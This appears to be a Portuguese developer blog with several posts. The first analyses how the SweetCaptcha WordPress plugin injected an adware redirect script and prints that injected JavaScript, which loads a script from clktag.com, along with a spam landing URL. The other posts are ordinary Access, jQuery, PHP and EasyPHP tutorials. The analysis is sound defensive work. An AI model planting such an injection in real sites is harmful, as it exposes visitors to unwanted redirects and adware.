nov 072015
 

Num dos sites mantidos pela Academia, ao se clicar um qualquer ponto da tela, seja em área sem link, seja em determinado posto, enfim, de forma absurdamente aleatória, é aberta nova página totalmente estranha à aplicação original.

Dentre as listadas:

http://lp.musicboxnewtab.com/?sysid=539&appid=118&subid=80817651661

O problema maior é que tal redirecionamento se dá também de forma aleatória, ou seja, as vezes ocorre, às vezes não. Aliás, ocorre esporadicamente. Navega-se pelo site, logo de início ou depois de muito tempo, lá está o redirecionamento. Por vezes, em muitas sessões, nem ocorre.

Tal aleatoriedade, de local clicado ou de momento de ocorrência dificulta muito encontrar a brecha.

Assim, vamos à longa análise:

Pelo descrito passamos a monitorar o evento “click”, até que disparasse o redirecionamento, chegamos então ao primeiro suspeito:

wp

Trata-se do script vindo do site clktag.com que, por sua vez, chama o servidor cdn1.srv.revdepo.com, trazendo aquele .js descrito na imagem. Arquivo bem grande para os padrões js e inteiro criptografado, o que faz a suspeita aumentar, dado que no wordpress os códigos são abertos.

Para completar: esse “revdepo.com” é um conhecido redirecionador para propagandas variadas (spam).

O segundo passo é encontrar onde este raio de clktag está sendo chamado.

Depois de algumas horas fuçando nos arquivos do wordpress, monitorando carregamentos, e outros procedimentos, encontramos o responsável:

wp2

O plugin SweetCaptcha faz dois carregamentos, o primeiro ok, é o do aplicativo mesmo.

Já o segundo, destacado na imagem, traz a inclusão do “clktag” no DOM (4ª linha):

1
2
3
4
5
window.sweetcaptchaCSRF = 'eb02ed2cd9350cc7a588d6a375a339b0'; var mobile = typeof(window.orientation) != 'undefined' || navigator.userAgent.match(/iphone|ipod|blackberry|android|palm|windowss+ce|mobile|msie 8|msie 7|msie 6/i) || (navigator.userAgent.indexOf('Safari') > -1 && navigator.userAgent.indexOf("Chrome") == -1 && navigator.userAgent.indexOf('Windows') > -1);if (1 || typeof(sc_jQuery) === 'undefined') {
window.sweetcaptchaPluginVersion = "3.1.0";
document.write('<scr'+'ipt type="text/javascript" src="//www.sweetcaptcha.com/javascripts/sclytics.js">');
document.write('<scr'+'ipt type="text/javascript" src="//clktag.com/adServe/banners?tid=SWTMPOP&tagid=2" async="async">');
document.write('<img style="position: absolute;" src="//www.sweetcaptcha.com/api/v2/apps/csrfp/11323?t=1446929464093&amp;mobile='+(mobile ? '1' : '0')+'" alt="" width="1" height="1" />');};

Testamos a descoberta, desativando o pugin.

Problema sanado, sem mais redirecionamentos indevidos e sem mais problemas, somente fontes confiáveis e normais foram carregadas:

wp3

Testes por mais algumas horas, sem redirecionamentos.

Agora chegamos a duas possíveis conclusões:

1-O plugin SweetCaptcha tem alguma vulnerabilidade;

2-O redirecionamento aleatório faz parte do plugin.

Pois bem, o SweetCapctha, usado em alguns milhões de sites, incluídos wordpress, oferece uma maneira mais criativa e elegante de burlar o spam, provendo um captcha intuitivo e bem humorado, como no exemplo:

wp4

Assim, buscamos no site do desenvolvedor: www.sweetcaptcha.com

Leia o site e verá que promete afastar spammers, injeção de códigos maliciosos e todos os males que realmente buscamos evitar quando colocamos um captcha. Oferece o aplicativo gratuitamente e pede doação (qua a academia doou, diga-se de passagem) por achar a ideia excelente e o serviço ótimo.

wp5

Contactamos o suporte, explicando a situação, e nos foi respondido que o plugin não tem anúncios e não faz redirecionamentos.

Então é uma falha, correto?

Errado. Infelizmente errado. A equipe deste plugin usa de uma desonestidade brutal. E ao que tudo indica o trambique vem desde julho deste ano.

Um desabafo: Cobrem pelo serviço se for necessário, mas nunca, nunca traiam a confiança do usuário distribuindo spam e, para piorar, peçam doação para manter a bagaça gratuita. Ridícula a postura. Se fosse um serviço nacional juro que entraríamos na justiça para reaver a doação.

A solução: exterminar este maldito plugin. Uma excelente ideia, lançada à lama por algum imbecil.

Para finalizar: o script vem direto dos servidores do sweetcaptcha, assim não há como negar a intenção nefasta: foram avisados, basta atualizar o script que traz o spam. Não o fizeram, comprova a má intenção.

Mais detalhes no blog de segurança Sucuri:

https://blog.sucuri.net/portugues/2015/06/09/sweetcaptcha-utilizado-para-distribuir-adware.html

Por fim, o mais estranho: a safadeza não ocorre em todos os sites. Usamos aqui na academia e nenhum spam ou redirecionamento foi feito pelo plugin, seria em razão da doação? se for, não seria melhor cobrar logo?

Aqui vamos manter até para avaliar até quando vai.

É isso.

 

ATUALIZAÇÃO:

Caso queira continuar usando o aplicativo, como alguns clientes preferiram, comente a seguinte linha do código do plugin (arquivo sweetcaptcha.php):

1
wp_enqueue_script('sweetcaptcha-csrf', 'https://'.SWEETCAPTCHA_SITE_URL.'/api/v2/apps/csrf/'.$app_id, array(), $ver, true);

Com isto, não teremos mais spam, ao menos até a próxima versão do plugin (estamos a usar a 3.1.0).

 

jul 012015
 

O problema:

Estamos a preparar um DataMining para um cliente, onde nenhum padrão está pré-estabelecido. Esta primeira análise costumamos realizar com o MS Access pela facilidade na criação de consultas e relacionamentos para, depois, definir os primeiros padrões encontrados.

Em regra criamos uma cópia dos Bancos de Dados principais do cliente, importamos no Access e trabalhados desconectados das bases em operação.

Porém, para este cliente, estamos em busca de novos padrões de acontecimentos imediatos, ou seja, precisamos acessar a base principal em tempo real.

A solução:

Vincular tabelas do MySQL no MS Access.

Como fazer:

Primeiro passo, no Access (usamos a versão 2002/XP):

Arquivo >> Obter dados externos >> Vincular tabelas.

Nos “tipos de arquivo” selecione “ODBC Databases()”, na tela seguinte “Fonte de dados de máquina”:

Capturar

Não há a opção de bancos de dados MySQL, logo, a solução é instalar um conector.

Baixeo MySQL ODBC Connector do site do MySQL, o link quando esta matéria foi escrita é: https://dev.mysql.com/downloads/connector/odbc/

Baixe de acordo com seu sistema operacional, instale-o.

sql

Em seguida, vá em (W7) Painel de controle >> ferramentas admnistrativas >> Fontes de dados (ODBC):

sql3

 

Crie uma nova fonte, escolha entre Unicode ou ANSI conforme sua preferência.

sql4

Preencha os dados do banco que pretende conectar (precisará criar uma conexão para cada banco de dados, se for usar mais de um).

sql5

 

Pronto, agora basta voltar ao Access e repetir os primeiros passos, a nova fonte de dados estará disponível.

sql6

É isso!

 

jun 302015
 

Manutenção em programas antigos invariavelmente vão dar dor de cabeça!

Ajustando um antigo software criado por outra equipe, foi necessário atualizar o jQuery.

Todas as novas implementações funcionaram bem, porém, o antigo datepicker (do jQuery UI) deu pau!

Qual o problema?

A partir da versão 1.9 o jQuery não mais dispõe da função $.browser.

As soluções possíveis:

1-Atualizar também o jQuery UI, porém, corre-se o risco de novos problemas em outras partes do aplicativo.

2-Ajustar o datepicker no braço para a nova versão do jQuery.

Optamos pela segunda:

O erro apresentado:

msie

 

Então, no arquivo do datepicker, temos o código:

1512

Alteramos para:

1512-2

E o resultado, tudo voltou a funcionar:

1512-3

Solução encontrada em:

https://www.drupal.org/node/1961178

 

 

jan 062015
 

Preloader são aqueles gis animados, tipo a ampulheta do Windows, que acabam sendo muito úteis em aplicações AJAX para alertar o usuário que a requisição está em processo.

Vagando pela rede, encontramos o site preloader.net que oferece vários modelos, muitos formatos, com possibilidade de personalização de cores, fundos etc.

Vale a pena conferir:

 

preloader

dez 012014
 

Pois bem, para eliminar itens duplicados de um array unidimensional o comando array_unique() do PHP resolve perfeitamente, contudo, quando torna-se necessário realizar a operação com array multidimensionais (bi no caso) são necessários alguns truques.

Na lista quatro soluções com resultados idênticos e mesmo benckmarking:

<?php
 
 
$teste[0][0] = 'abc';
$teste[0][1] = 'def';
$teste[1][0] = 'ghi';
$teste[1][1] = 'jkl';
$teste[2][0] = 'mno';
$teste[2][1] = 'pql';
$teste[3][0] = 'abc';
$teste[3][1] = 'def';
$teste[4][0] = 'ghi';
$teste[4][1] = 'jkl';
$teste[5][0] = 'mno';
$teste[5][1] = 'pql';
$teste[6][0] = 'mno';
$teste[6][1] = 'pql';
$teste[7][0] = 'abc';
$teste[7][1] = 'va-kh';
 
 
print_r($teste);
 
//processamento de eliminação de duplicatas em array bidimensional:
 
 
 
	echo "<p>teste1</p>";
	$teste1 = multi2($teste);
	print_r($teste1);
 
 
 
echo "<p>teste2</p>";
$teste2=multi_unique($teste);
print_r($teste2);
 
 
echo "<p>teste3</p>";
$teste3=array_unique_multidimensional($teste);
print_r($teste3);
 
 
echo "<p>teste4</p>";
$teste4=multi3($teste);
print_r($teste4);
 
 
 
 
//------------------------------------------------------------------------------------------
function multi3($a)
{
foreach($a as $i => $suba)
    foreach($a as $i2 => $suba2)
        if($suba==$suba2 && $i!=$i2)
            unset($a[$i]);
return $a;
			}
 
function multi_unique($array) {
        foreach ($array as $k=>$na)
            $new[$k] = serialize($na);
        $uniq = array_unique($new);
        foreach($uniq as $k=>$ser)
            $new1[$k] = unserialize($ser);
        return ($new1);
		//from php.net , searching array_unique
    }
 
function array_unique_multidimensional($input)
{
    $serialized = array_map('serialize', $input);
    $unique = array_unique($serialized);
    return array_intersect_key($input, $unique);
}
 
function multi2($teste)
{
return array_map("unserialize", array_unique(array_map("serialize", $teste)));
}
?>

 

 

out 262014
 

O problema:

Temos uma aplicação com um form bastante complexo que, quando aberto para edição, preenche os dados via AJAX e, conforme for o resultado do AJAX e as permissões do usuários, ações possíveis são habilitadas.

O código usado (inicialmente):

$( document ).ready(function() {
 
	preenche_form();
	exibe_botoes();
	preenche_tema($('#acao_eixo'));
});

Porém, ocorre o seguinte: A função preenche_form(), que realiza a consulta via AJAX demora mais que as outras, assim, a função exibe_botoes() é executada antes do preenchimento do form, gerando um resultado indesejado pois, para habilitar os botões corretos, a exibe_form() depende do preenchimento da preenche_form().

Os botões a serem habilitados (um conjunto conforme o status preenchido no form pela função preenche_form()):

botoes

 

Num primeiro momento tentamos usar a função ‘when‘ do jQuery:

$( document ).ready(function() {
 
	$.when(preenche_form()).done(function(){exibe_botoes();});
 
         preenche_tema($('#acao_eixo'));
});

Porém, também não funcionou.

Resta então apresentar alguma teoria, estudar um pouco para compreender a solução:

jQuery e AJAX funcionam de forma assíncrona, ou seja, por óbvio, sem sincronia. É o que acontece no caso em comento, é chamada a função que preenche o formulário e, antes desta terminar, a aplicação já chama a segunda que habilita os botões, porém, esta segunda depende do resultado da primeira, assim, o negócio simplesmente não funciona, nenhum botão da aplicação é habilitado nunca, pois a segunda função não tem parâmetros para trabalhar.

Assim, é necessário alterar o comportamento padrão do jQuery, ou seja, torná-lo síncrono, com execução em sequência, aguardando o término da primeira função para só então executar a segunda.

E aqui mais um pouco de aprendizado:

O jQuery tem funções de categoria “Deferreds”, ou diferidas, adiadas. Mas o que isso significa na prática?

Quando uma função desse tipo é chamada, normalmente as de execução mais demorada, a função retorna uma “promise”, ou promessa, de que irá concluir em algum momento, porém, o programa não espera e, enquanto aguarda o “cumprimento da promessa” já vai chamando as funções seguintes. Tá aí a execução assíncrona.

Como exemplos de função “deferred” temos o $.ajax e $.animate.

As funções que criamos, como as do exemplo, em regra não são do tipo deferred, assim, usar when com estas funções, não vai dar resultado algum, vai continuar sendo executado “tudo junto”.

Aliás, a função when existe justamente para que possamos, conforme a necessidade de nossa aplicação, executar funções de forma encadeada, ou seja, assim que esta terminar, execute esta….

Com uma leve pincelada de compreensão de como funciona o trem, podemos concluir então que não tem jeito, certo?

Errado!

O jQuery oferece ferramentas para transformarmos qualquer função comum no tipo deferred.

Vamos a como fazer:

Na função preenche_form() incluímos as funções Deferred, promise e resolve:

function preenche_form()
{
     atrasa=new $.Deferred(); //avisa que é uma função do tipo diferido, mesmo que originalmente não fosse
 
     //seu código
 
     atrasa.resolve(); //avisa que a função terminou, coloque no ponto em que as ações terminam (pode ser usado mais de um...)
 
     //seu código
 
     return atrasa.promise(); //envia a promessa que vai terminar alguma hora
};

 

É isso, problema resolvido, em, breve um modelinho funcional.

Um pouco de história:

Outros meios de se fazer a mesma coisa é com callbacks, ou seja, encadear as funções de modo a executar uma por vez, comprometendo a performance. Outro método um pouco menos pior, era usar Timeouts nas funções, ou loops que eram executados enquanto a função não terminava. O when certamente é uma solução mais elegante.

 

 

out 232014
 

O problema é o seguinte:

Temos uma tabela com dados de pedidos, preenchida dinamicamente com AJAX/PHP/MySQL.

Até aí ok, porém, para facilitar a visualização, pretendemos colorir a linha (cada linha representa um pedido) conforme o valor da célula que contém a informação de estatus do pedido.

Antes da função jQuery, temos:

tabela2

function colore_tabela()
    {
        /*
         * TEMOS 8 Status possíveis, com sua cores respectivas:
         *  1-salva;                    branca
         *  2-aguardando validação;     azul
         *  3-não validada;             amarelo
         *  4-aguardando aprovação;     azul
         *  5-aprovada;                 verde
         *  6-não aprovada;             amarelo
         *  7-cancelada;                vermelho
         *  8-concluida;                verde
 
      */
 
$('#t_dados').find('tr').each(function(indice){
switch($(this).children().eq(0).text())
{
 
case 'aguardando validação':
case 'aguardando aprovação':
$(this).prop('class','info');
break;
 
case 'não validada':
case 'não aprovada':
$(this).prop('class','warning');
break;
 
case 'aprovada':
case 'concluida':
$(this).prop('class','success');
break;
 
case 'cancelada':
$(this).prop('class','danger');
break;
 
};
});
}

Foram usadas as classes do Bootstrap 3.0 para tebelas: http://getbootstrap.com/css/#tables-contextual-classes

Após:

tabela1

Visualização melhorada, com poucos comandos e processamento client-side, certamente uma boa pedida.

 

Neste caso específico, criamos uma função isolada que é chamada depois da execução do AJAX, porém, caso sua tabela já venha preenchida, podes chamá-la logo ao carregar a página, com esta sugestão (ou mesmo através de função anônima):

$( document ).ready(function(){
		colore_tabela();
		});

 

Para entender um pouco mais:

Usamos a função .each() para percorrer cada linha da tabela, em seguida, selecionamos com children(), seguido de eq(0) o texto da primeira célula, logo, se quiser alterar qual célula será testada, basta alterar o índice, onde 0 representa a primeira coluna, 1 a segunda e assim por diante.

 

Até a próxima.

 

 

 

set 302014
 

search

O EasyPHP sempre foi, e penso que continua sendo, o mais simples dos WAMP para testes e desenvolvimento de aplicações web com PHP.

Porém, de algumas versões para cá (escrevo tratando da versão 14.1), quando instalado sobre o Windows7 32 bits, a bagaça enrosca e não incia o Apache pela falta da DLL MSVCR110.dll.

ScreenHunter_30 Sep. 30 18.45

Pois bem, o aviso: CUIDADO AO BAIXAR DLL DE SITES ESTRANHOS.

Uma biblioteca DDL bem construída e mal intencionada pode dar acesso irrestrito à sua máquina.

A maldita que falta faz parte do pacote:

Visual C++ Redistributable for Visual Studio 2012 Update 4, da Microsoft.

Assim, para corrigir o problema com segurança, baixe-o diretamente do site da Microsoft pelo link:

http://www.microsoft.com/en-us/download/details.aspx?id=30679%20#

Seguindo os passos:

Escolha o idioma (não tem português, ao menos até o momento que baixei.):

ScreenHunter_31 Sep. 30 18.53

Escolha seu sistema operacional (x86 para 32 bits – nosso caso, x64 para 64bits ou arm para outros dispositivos, como Windows Phone):

ScreenHunter_32 Sep. 30 18.53

Instale o trem:

ScreenHunter_33 Sep. 30 18.59

ScreenHunter_34 Sep. 30 18.59ScreenHunter_35 Sep. 30 19.01

 

 

 

 

 

 

 

 

 

 

 

Leva bem uns 5 minutos.

Pronto, EasyPHP funcionando.
ScreenHunter_36 Sep. 30 19.03

É isso.

ADENDO: Como bem colocou nos comentários o colega Artur, mesmo se usares a versão 64bits precisará instalar a X86 para que funcione corretamente. Valeu pela dica!